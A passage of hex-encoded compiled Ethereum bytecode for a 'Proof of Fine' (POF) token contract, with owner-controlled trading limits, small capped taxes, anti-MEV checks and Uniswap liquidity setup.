41f919061333e565b60405180910390f35b348015610433575f80fd5b5061043c61104c565b005b348015610449575f80fd5b50610452611151565b60405161045f91906135d1565b60405180910390f35b348015610473575f80fd5b5061047c611179565b005b348015610489575f80fd5b5061049261125f565b60405161049f91906135d1565b60405180910390f35b3480156104b3575f80fd5b506104bc611286565b6040516104c9919061320d565b60405180910390f35b3480156104dd575f80fd5b506104e66112c3565b6040516104f3919061333e565b60405180910390f35b348015610507575f80fd5b50610522600480360381019061051d91906132be565b6112cc565b60405161052f9190613316565b60405180910390f35b348015610543575f80fd5b5061055e600480360381019061055991906134bd565b611328565b005b34801561056b575f80fd5b5061057461152c565b604051610581919061333e565b60405180910390f35b348015610595575f80fd5b5061059e611535565b6040516105ab919061333e565b60405180910390f35b3480156105bf575f80fd5b506105da60048036038101906105d591906135ea565b61153e565b6040516105e7919061333e565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613661565b6115c0565b005b61062061174f565b005b34801561062d575f80fd5b5061064860048036038101906106439190613713565b611d95565b005b348015610655575f80fd5b5061065e611e9b565b60405161066b919061333e565b60405180910390f35b60606040518060400160405280600d81526020017f50726f6f66206f662046696e6500000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161078c919061333e565b60405180910390a36001905092915050565b5f6009600a6107ad919061389a565b6461f313f8806107bd91906138e4565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461084f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108469061396f565b60405180910390fd5b80806108585750815b156108e85760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de906139d7565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61099f84611ea4565b6109de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d590613a3f565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a659190613a5d565b92505081905550610a77848484611f76565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b199061396f565b60405180910390fd5b6001601460016101000a81548160ff02191690831515021790555060648260ff161115610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90613ada565b60405180910390fd5b5f60648360ff16600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bd391906138e4565b610bdd9190613b25565b90506009600a610bed919061389a565b811115610bfe57610bfd81612648565b5b8115610c55575f4790505f8111610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190613b9f565b60405180910390fd5b610c53816127e2565b505b505f601460016101000a81548160ff0219169083151502179055505050565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f9061396f565b60405180910390fd5b5f60016103e88461ffff166009600a610dc1919061389a565b6461f313f880610dd191906138e4565b610ddb91906138e4565b610de59190613b25565b610def9190613bbd565b9050600554811015610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d90613c3a565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610e56919061389a565b6461f313f880610e6691906138e4565b610e7091906138e4565b610e7a9190613b25565b610e849190613bbd565b9050600654811015610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290613ca2565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f729061396f565b60405180910390fd5b60028183610f899190613cc0565b60ff161115610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc490613d3e565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d09061396f565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f60405161114791906135d1565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fd9061396f565b60405180910390fd5b60145f9054906101000a900460ff1615611255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124c90613da6565b60405180910390fd5b61125d61284a565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f504f460000000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6112d633611ea4565b611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90613a3f565b60405180910390fd5b611320338484611f76565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ac9061396f565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690613e0e565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116449061396f565b60405180910390fd5b8363ffffffff168563ffffffff166009600a611669919061389a565b6461f313f88061167991906138e4565b61168391906138e4565b61168d9190613b25565b6007819055508163ffffffff168363ffffffff166009600a6116af919061389a565b6461f313f8806116bf91906138e4565b6116c991906138e4565b6116d39190613b25565b60088190555066038d7ea4c680008163ffffffff166116f29190613e3e565b66ffffffffffffff166009819055506007546008541015611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613ec4565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d39061396f565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90613f2c565b60405180910390fd5b60145f9054906101000a900460ff16156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc90613da6565b60405180910390fd5b5f3411806118e257505f47115b611921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191890613f94565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054116119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613ffc565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a2e919061402e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b8152600401611a7c929190614059565b6020604051808303815f875af1158015611a98573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611abc919061402e565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b42600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054476128fb565b600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611bb19190613a5d565b925050819055505f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611c8191906140c4565b5f604051808303815f865af19150503d805f8114611cba576040519150601f19603f3d011682016040523d82523d5f602084013e611cbf565b606091505b5050905080611d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfa90614124565b60405180910390fd5b8060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e199061396f565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611e90919061419d565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611ec65760019050611f6d565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f625750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f6c57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611fe5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdc90614200565b60405180910390fd5b60145f9054906101000a900460ff166120d457600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156120945750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca90613a3f565b60405180910390fd5b5b601460019054906101000a900460ff16158015612137575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156121485750612147826129d2565b5b1561215657612155612b2e565b5b60045443106123ec57600254431080156121b6575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561222a573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222090614268565b60405180910390fd5b5b61025860025461223a9190613bbd565b4310801561228e575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80156122c657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123eb576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166123339190613cc0565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156123ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e190614268565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561245457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124ab57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124fb576124bb848484612c50565b6124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f1906142d0565b60405180910390fd5b5b5f612507858585612dd8565b90505f81846125169190613a5d565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125649190613a5d565b9250508190555081600a5f82825461257c9190613bbd565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546125cf9190613bbd565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612633919061333e565b60405180910390a36001925050509392505050565b61265181612fa1565b5f600267ffffffffffffffff81111561266d5761266c6142ee565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030815f815181106126b2576126b161431b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106127155761271461431b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b1959493929190614438565b5f604051808303815f87803b1580156127c8575f80fd5b505af11580156127da573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612846573d5f803e3d5ffd5b5050565b60646009600a61285a919061389a565b6461f313f88061286a91906138e4565b600361287691906138e4565b6128809190613b25565b60058190555060646009600a612896919061389a565b6461f313f8806128a691906138e4565b60036128b291906138e4565b6128bc9190613b25565b600681905550600160145f6101000a81548160ff021916908315150217905550436004819055506004546002546128f39190613bbd565b600281905550565b61290482612fa1565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161298a96959493929190614490565b60606040518083038185885af11580156129a6573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906129cb9190614503565b5050505050565b5f805f6009541115612b20575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401612aaf91906135d1565b602060405180830381865afa158015612aca573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612aee9190614553565b90505f828287612afe91906138e4565b612b089190613b25565b90506009548110612b1857600193505b505050612b25565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a5490506007548110158015612b6c575060145f9054906101000a900460ff165b15612c33576008548110612b805760085490505b5f8190506009600a612b92919061389a565b6001612b9e91906138e4565b811115612c1a5781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254612bf19190613bbd565b92505081905550612c0181612648565b81600a5f828254612c129190613a5d565b925050819055505b5f4790505f811115612c3057612c2f816127e2565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612cb85750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612d0b5750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612dcd57600554831115612d22575f9050612dcc565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612dc2575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612dc09190613bbd565b115b15612dcb575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612e3b5750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612e8c5750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612e99575f9050612f96565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f19576064600360019054906101000a900460ff1660ff1684612f0891906138e4565b612f129190613b25565b9050612f95565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612f9457606460035f9054906101000a900460ff1660ff1684612f8791906138e4565b612f919190613b25565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015613180577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051613177919061333e565b60405180910390a35b50565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156131ba57808201518184015260208101905061319f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6131df82613183565b6131e9818561318d565b93506131f981856020860161319d565b613202816131c5565b840191505092915050565b5f6020820190508181035f83015261322581846131d5565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61325a82613231565b9050919050565b61326a81613250565b8114613274575f80fd5b50565b5f8135905061328581613261565b92915050565b5f819050919050565b61329d8161328b565b81146132a7575f80fd5b50565b5f813590506132b881613294565b92915050565b5f80604083850312156132d4576132d361322d565b5b5f6132e185828601613277565b92505060206132f2858286016132aa565b9150509250929050565b5f8115159050919050565b613310816132fc565b82525050565b5f6020820190506133295f830184613307565b92915050565b6133388161328b565b82525050565b5f6020820190506133515f83018461332f565b92915050565b613360816132fc565b811461336a575f80fd5b50565b5f8135905061337b81613357565b92915050565b5f805f606084860312156133985761339761322d565b5b5f6133a586828701613277565b93505060206133b68682870161336d565b92505060406133c78682870161336d565b9150509250925092565b5f805f606084860312156133e8576133e761322d565b5b5f6133f586828701613277565b935050602061340686828701613277565b9250506040613417868287016132aa565b9150509250925092565b5f60ff82169050919050565b61343681613421565b82525050565b5f60208201905061344f5f83018461342d565b92915050565b61345e81613421565b8114613468575f80fd5b50565b5f8135905061347981613455565b92915050565b5f80604083850312156134955761349461322d565b5b5f6134a28582860161346b565b92505060206134b38582860161336d565b9150509250929050565b5f602082840312156134d2576134d161322d565b5b5f6134df84828501613277565b91505092915050565b5f6040820190506134fb5f830185613307565b6135086020830184613307565b9392505050565b5f61ffff82169050919050565b6135258161350f565b811461352f575f80fd5b50565b5f813590506135408161351c565b92915050565b5f806040838503121561355c5761355b61322d565b5b5f61356985828601613532565b925050602061357a85828601613532565b9150509250929050565b5f806040838503121561359a5761359961322d565b5b5f6135a78582860161346b565b92505060206135b88582860161346b565b9150509250929050565b6135cb81613250565b82525050565b5f6020820190506135e45f8301846135c2565b92915050565b5f8060408385031215613600576135ff61322d565b5b5f61360d85828601613277565b925050602061361e85828601613277565b9150509250929050565b5f63ffffffff82169050919050565b61364081613628565b811461364a575f80fd5b50565b5f8135905061365b81613637565b92915050565b5f805f805f60a0868803121561367a5761367961322d565b5b5f6136878882890161364d565b95505060206136988882890161364d565b94505060406136a98882890161364d565b93505060606136ba8882890161364d565b92505060806136cb8882890161364d565b9150509295509295909350565b5f6136e282613231565b9050919050565b6136f2816136d8565b81146136fc575f80fd5b50565b5f8135905061370d816136e9565b92915050565b5f602082840312156137285761372761322d565b5b5f613735848285016136ff565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156137c05780860481111561379c5761379b61373e565b5b60018516156137ab5780820291505b80810290506137b98561376b565b9450613780565b94509492505050565b5f826137d85760019050613893565b816137e5575f9050613893565b81600181146137fb576002811461380557613834565b6001915050613893565b60ff8411156138175761381661373e565b5b8360020a91508482111561382e5761382d61373e565b5b50613893565b5060208310610133831016604e8410600b84101617156138695782820a9050838111156138645761386361373e565b5b613893565b6138768484846001613777565b9250905081840481111561388d5761388c61373e565b5b81810290505b9392505050565b5f6138a48261328b565b91506138af83613421565b92506138dc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846137c9565b905092915050565b5f6138ee8261328b565b91506138f98361328b565b92508282026139078161328b565b9150828204841483151761391e5761391d61373e565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697320666e00000000005f82015250565b5f613959601b8361318d565b915061396482613925565b602082019050919050565b5f6020820190508181035f8301526139868161394d565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f6139c160108361318d565b91506139cc8261398d565b602082019050919050565b5f6020820190508181035f8301526139ee816139b5565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f613a2960148361318d565b9150613a34826139f5565b602082019050919050565b5f6020820190508181035f830152613a5681613a1d565b9050919050565b5f613a678261328b565b9150613a728361328b565b9250828203905081811115613a8a57613a8961373e565b5b92915050565b7f43616e6e6f742073776170206d6f7265207468616e20313030250000000000005f82015250565b5f613ac4601a8361318d565b9150613acf82613a90565b602082019050919050565b5f6020820190508181035f830152613af181613ab8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b2f8261328b565b9150613b3a8361328b565b925082613b4a57613b49613af8565b5b828204905092915050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613b8960068361318d565b9150613b9482613b55565b602082019050919050565b5f6020820190508181035f830152613bb681613b7d565b9050919050565b5f613bc78261328b565b9150613bd28361328b565b9250828201905080821115613bea57613be961373e565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f613c24600a8361318d565b9150613c2f82613bf0565b602082019050919050565b5f6020820190508181035f830152613c5181613c18565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613c8c600e8361318d565b9150613c9782613c58565b602082019050919050565b5f6020820190508181035f830152613cb981613c80565b9050919050565b5f613cca82613421565b9150613cd583613421565b9250828201905060ff811115613cee57613ced61373e565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f613d2860128361318d565b9150613d3382613cf4565b602082019050919050565b5f6020820190508181035f830152613d5581613d1c565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613d90600c8361318d565b9150613d9b82613d5c565b602082019050919050565b5f6020820190508181035f830152613dbd81613d84565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613df860178361318d565b9150613e0382613dc4565b602082019050919050565b5f6020820190508181035f830152613e2581613dec565b9050919050565b5f66ffffffffffffff82169050919050565b5f613e4882613e2c565b9150613e5383613e2c565b9250828202613e6181613e2c565b9150808214613e7357613e7261373e565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613eae600d8361318d565b9150613eb982613e7a565b602082019050919050565b5f6020820190508181035f830152613edb81613ea2565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613f16600a8361318d565b9150613f2182613ee2565b602082019050919050565b5f6020820190508181035f830152613f4381613f0a565b9050919050565b7f4e6f2045544820696e2063612f6d7367000000000000000000000000000000005f82015250565b5f613f7e60108361318d565b9150613f8982613f4a565b602082019050919050565b5f6020820190508181035f830152613fab81613f72565b9050919050565b7f4e6f20746f6b656e7320696e20636100000000000000000000000000000000005f82015250565b5f613fe6600f8361318d565b9150613ff182613fb2565b602082019050919050565b5f6020820190508181035f83015261401381613fda565b9050919050565b5f8151905061402881613261565b92915050565b5f602082840312156140435761404261322d565b5b5f6140508482850161401a565b91505092915050565b5f60408201905061406c5f8301856135c2565b61407960208301846135c2565b9392505050565b5f81519050919050565b5f81905092915050565b5f61409e82614080565b6140a8818561408a565b93506140b881856020860161319d565b80840191505092915050565b5f6140cf8284614094565b915081905092915050565b7f4661696c656420616464696e67206c70000000000000000000000000000000005f82015250565b5f61410e60108361318d565b9150614119826140da565b602082019050919050565b5f6020820190508181035f83015261413b81614102565b9050919050565b5f819050919050565b5f61416561416061415b84613231565b614142565b613231565b9050919050565b5f6141768261414b565b9050919050565b5f6141878261416c565b9050919050565b6141978161417d565b82525050565b5f6020820190506141b05f83018461418e565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f6141ea601a8361318d565b91506141f5826141b6565b602082019050919050565b5f6020820190508181035f830152614217816141de565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f61425260098361318d565b915061425d8261421e565b602082019050919050565b5f6020820190508181035f83015261427f81614246565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6142ba600e8361318d565b91506142c582614286565b602082019050919050565b5f6020820190508181035f8301526142e7816142ae565b9050919050565b7f4e487b7100000000000000000000